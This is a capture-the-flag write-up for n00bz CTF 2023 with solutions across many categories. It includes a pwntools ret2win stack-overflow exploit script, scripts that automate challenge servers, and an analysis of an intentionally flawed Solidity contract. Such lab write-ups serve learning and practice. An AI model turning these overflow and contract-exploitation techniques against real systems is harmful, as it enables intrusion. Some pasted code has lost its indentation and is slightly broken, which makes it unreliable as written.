n00bz CTF 2023
Sup?!
Hey, there! This time, I’m back with n00bz CTF. I played this CTF along with Invaders0x1 team. I managed to solve a variety of challenges from various categories.
Misc
Amazing Song Lyrics
This challenge had given a image with American Sign Language.

I used decode.fr website to recover the flag.

n00bz{americansignlanguagedecoded}
My Chemical Romance

This challenge is a periodic table cipher. 18 - Argon (Ar) 68 - Erbium (Er) 08 - Oxygen (O) 15 - Phosphorus (P) 57 - Lanthanum (La) 10 - Neon (Ne)
n00bz{aeroplane}
Numbers

This challenge is a netcat based challenge that asks 100 rounds like above question. I have written a code to automate the process.
from pwn import *
p = remote("challs.n00bzunit3d.xyz", 13541)
def count_nums(dig, n):
count = 0
for num in range(1, n):
count += str(num).count(str(dig))
return count
while True:
try:
print(p.recvline())
out = p.recvline().decode().split(" ")
print(out)
i, n = int(out[2].rstrip('\'s')), int(out[5].rstrip('?\n'))
print(i, n)
to_send = count_nums(i, n)
print(to_send)
p.sendline(str(to_send))
print(p.recvline())
except EOFError:
exit()
n00bz{4n_345y_pr0gr4mm1ng_ch4ll}
Forensics
Hecked

This challenge provided a pcap file, which on inspection with WireShark, helped me to get the flag.


I used these details and converted them to md5 sum.

n00bz{a806fef72a92508b7a64776bb83ad4cb}
LSB
This challenge provided a wav file. The challenge name LSB refers to Least Significant Bit. I referred to this https://github.com/ragibson/Steganography#WavSteg for the tools and commands and finally got the flag.

n00bz{L5B_1n_w4v_f1l3s?!!!}
BeepBop
This challenge provided a wav file. The name BeepBop sounds like a challenge related to sound. So I tried using MMSSTV and succeeded.

n00bz{beep_bop_you_found_me!}
OSINT
Mission Moon

I immediately guessed that it is Chandrayaan 2 by looking at the image and looked for the latitude and longitude.
n00bz{Vikram_Pragyan_70.9_22.8}
Rev
Welcome
This challenged provided a ELF file. By looking at the title, I ran strings hoping to get the flag and done.

n00bz{N3v3R_$torE_$ENs1TIV3_1nFOrMa7IOn_P1aiNtexT_In_yoUr_bin4rI3S!!!!!}
Web
Club_N00b
Looking at the web page,

The word 'radical' was highlighted

When clicked on the check status button, it navigated to /check?secret_phrase=nope. So I replaced 'nope' with 'radical'.

n00bz{see_you_in_the_club_acting_real_nice}
Robots
As the name suggests, the flag was in /robots.txt.

n00bz{1_f0und_7h3_r0b0ts!}
Secret Group
It was a challenge requiring to change headers.

I followed the response to get the flag.

n00bz{y0u_4r3_n0w_4_v4l1d_m3mb3r_0f_th3_s3cr3t_gr0up!}
Pwn
Flag Shop
It was a basic integer overflow challenge on netcat.

n00bz{5h0p_g0t_h3ck3d_4nd_fl4g_g0t_570l3n!}
Pwn1
This challenge provided a ELF file. It was using netcat. After analyzing the ELF file, I found that it was a ret2win chall. So if you know you can overflow in a stack buffer of size x and there are no other locals, the offset to the return address is x+8. Here the array size was 64. So the offset should be 72 chars long. I found the address of the win() function from Ghidra and wrote the following script.
from pwn import *
p = remote("challs.n00bzunit3d.xyz", 35932)
print(p.recvline())
payload = b'A'*72 +p64(0x0040124a)
print(payload)
p.sendline(payload)
p.interactive()
After executing this python file, It gave access to the terminal. From there, I got the flag.

n00bz{PWN_1_Cl34r3d_n0w_0nt0_PWN_2!!!}
Crypto
MaaS
This challenge provided a python file running on netcat.
import random
from Crypto.Util.number import *
flag = open('flag.txt').read()
alpha = 'abcdefghijklmnopqrstuvwxyz'.upper()
to_guess = ''
for i in range(16):
to_guess += random.choice(alpha)
for i in range(len(to_guess)):
for j in range(3):
print(to_guess)
inp = int(input(f'Guessing letter {i}, Enter Guess: '))
guess = inp << 16
print(guess % ord(to_guess[i]))
last_guess = input('Enter Guess: ')
if last_guess == to_guess:
print(flag)
else:
print('Incorrect! Bye!')
exit()
After reading the script, I understood that there are three chances to guess each alphabet. So I chose 3 numbers 2, 5, 17 for each trail for each alphabet. I stored the possible values for 2, 5, 17 in three different arrays and took the common element. I automated this whole process.
from pwn import *
host, port = "challs.n00bzunit3d.xyz", 51081
final = []
final2 = []
def IntersecOfSets(arr1, arr2, arr3):
# Converting the arrays into sets
s1 = set(arr1)
s2 = set(arr2)
s3 = set(arr3)
# Calculates intersection of
# sets on s1 and s2
set1 = s1.intersection(s2) #[80, 20, 100]
# Calculates intersection of sets
# on set1 and s3
result_set = set1.intersection(s3)
# Converts resulting set to list
final_list = list(result_set)
final.append(final_list[0])
final2.append(final_list[-1])
def calc(inp, out):
for i in range(65, 91):
if((inp<<16) % i) == out:
if inp == 2:
arr1.append(i)
elif inp == 5:
arr2.append(i)
else:
arr3.append(i)
input = ['2', '5', '17']
p = remote(host, port)
for i in range(16):
arr1 = []
arr2 = []
arr3 = []
for i in input:
p.sendline(i)
output = int(p.recvline().decode().split(" ")[5])
print(output)
calc(int(i), output)
IntersecOfSets(arr1, arr2, arr3)
print(arr1, arr2, arr3, final, final2)
if final == final2:
print(final)
flag = ''
for i in final:
flag += chr(i)
print(flag)
p.sendline(flag)
result = p.recvline()
print(result)
n00bz{M0dul0_f7w_1a4d3f5c!}
Blockchain
To the MOOON!

This was a weird challenge. It provided a solidity file. You have to exploit it to get the transaction hash which should be XORed with the given hex to get the flag. There are many flaws here, as TX hash depends on the number of the trancsactions from the address and the function. We can exploit this in many ways.
pragma solidity ^0.6.0;
contract TTMCoin {
uint public supply = 10;
uint public price = 10 Wei;
string public name = "To the Moon Coin";
string public symbol = "TTMCOIN";
mapping (address => uint) public balanceOf;
uint priceToBeat = 11 Wei;
bool public challIsSolved = false;
function setPrice() public {
price = supply * 1 Wei;
}
function buy(uint _amount) public payable {
require(_amount <= supply, "If this prints, the purchase amount is greater than the supply!");
uint _tokensBought = msg.value / price;
balanceOf[msg.sender] += _tokensBought;
supply -= _tokensBought;
}
function solve() public {
require(price > priceToBeat, "You have... NOT gone to the moon");
challIsSolved = true;
}
}
The function buy() checks _amount <= supply, but _tokensBought is taken from msg.value. So, If we pass amount 10 and msg.value 1000, It results in integer overflow. Now we can call the setPrice() function and solve() function to get the hash.
As I told there are many ways, just set the uint priceToBeat to 1 wei instead of 11 wei and now deploy and call the setPrice() function and solve() function to get the hash. It will be the same hash. As the contract is not deployed, we can just modify the contract. That is why I called it weird.
XOR the hash with the given hex:
def xor_string_with_hex(string, hex_value):
# Convert string to bytes
string_bytes = string.encode()
# Convert hex value to bytes
hex_bytes = bytes(fromhex(hex_value))
# XOR operation byte by byte
result_bytes = bytes(x ^ y for x, y in zip(string_bytes, hex_bytes))
# Convert result bytes back to string
result_string = result_bytes.decode()
return result_string
string_val = "9a51d4efe2f23f207e48c5b0f7463d7349150059603809493ce1669e73cdbd94"
hex_value = "575105531e4f120e1c6d115d5d126d5d4e3a43590f59074439425a525616515f5b4e4c5b000057434d475b416f4e5b57473c0848694158095b56173b170a5d51"
result = xor_string_with_hex(string_val, hex_value)
print(result)
n00bz{why_wont_my_wallet_underflow}